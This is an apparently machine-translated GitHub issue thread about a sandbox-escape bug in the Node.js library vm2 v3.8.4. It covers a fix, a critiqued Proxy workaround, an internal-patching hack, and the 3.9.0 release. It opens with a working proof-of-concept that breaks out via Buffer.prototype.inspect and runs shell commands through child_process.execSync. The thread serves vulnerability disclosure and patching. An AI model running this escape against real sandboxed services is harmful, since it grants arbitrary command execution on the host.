Der folgende Code kann verwendet werden, um die VM zu umgehen und beispielsweise einen Befehl in der Shell auszufĂŒhren.
Es wurde bereits in # 187 hier berichtet , es funktioniert immer noch auf Knoten 13.6.0 und vm2 v3.8.4
const {VM} = require('vm2');
const vm = new VM({
wasm: false,
timeout: 2000,
sandbox: {},
eval: false,
});
const malicious = '(' + function(){
try { require('child_process').execSync("idea") } catch(e){} // Not getting executed
let buffer = {
hexSlice: () => "",
magic: {
get [Symbol.for("nodejs.util.inspect.custom")](){
throw f => f.constructor("return process")();
}
}
};
try{
Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
}catch(e){
e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
}
}+')()';
vm.run(malicious)
@patriksimek Dieses Problem wurde im Master behoben, der Fix wurde jedoch mit https://github.com/patriksimek/vm2/pull/242 geliefert, das nach Version 3.8.4 ist. Also hat mpn dieses Update nicht.
Dies bleibt geöffnet, bis v3.8.5 veröffentlicht ist.
Haben wir eine ETA?
@ jan-osch Da @patriksimek ziemlich inaktiv zu sein scheint, weiĂ ich es nicht.
@XmiliaH danke fĂŒr deine Antwort und alle BeitrĂ€ge!
Denken Sie, dass eine solche Problemumgehung mit Affen-Patches den Ausbruch verhindern wird, bis wir eine aktualisierte Version veröffentlicht haben?
const vm = new NodeVM({
console: 'off',
sandbox: {
console: consoleInterface,
setTimeout,
print,
// TODO remove once vm2 fixed the breakout issue
// Reference: https://github.com/patriksimek/vm2/issues/268
Buffer: {
...Buffer,
prototype: new Proxy(Buffer.prototype, {
get(object, property) {
if (property === 'inspect') {
return () => {
console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
consoleInterface.error('Nice try! This breakout attempt will be reported');
};
}
return object[property];
},
}),
},
},
require: { // here define modules that can be required
builtin: [
// some list
],
external: [
//...
],
},
});
return vm.run(code, SCRIPT_PATH);
@ jan-osch Das ist keine gute Lösung:
1) Der SchlĂŒssel [Symbol.for ("nodejs.util.inspect.custom")] wird vergessen.
2) Es ermöglicht das Schreiben in den Prototyp des Host-Puffers.
3) Das Problem ist, dass console.log auch dieses Problem auslöst und Ihre Lösung nichts dagegen unternimmt.
Leider gibt es keine einfache Lösung.
Hier ist eine vorĂŒbergehend schlecht getestete Hacky-Lösung:
function hacky_fix(vm) {
const internal = vm._internal;
const old = internal.Decontextify.object;
const handler = {__proto__: null};
internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
const value = old(object, traps, deepTraps, flags, mock);
const better = new Proxy(value, handler);
internal.Decontextify.proxies.set(object, better);
internal.Contextify.proxies.set(better, object);
return better;
};
}
Es patcht interne Funktionen, verwenden Sie es daher mit Vorsicht.
Vielen Dank, dass Sie @XmiliaH! Kennen Sie ein Projekt mit einer Testsuite fĂŒr solche Breakout-FĂ€lle? Ich möchte meinem CI einige Breakout-Tests als FrĂŒhwarnsystem hinzufĂŒgen
Wir haben einige TestfÀlle in test / vm.js. Suchen Sie einfach nach einem Angriff und Sie werden die FÀlle finden.
freundliche Erinnerung @patriksimek wÀre fantastisch, wenn Sie eine neue Version veröffentlichen könnten.
@mxschmitt Gerade veröffentlicht als 3.9.0. Die VerspÀtung tut mir leid.
Hilfreichster Kommentar
@mxschmitt Gerade veröffentlicht als 3.9.0. Die VerspÀtung tut mir leid.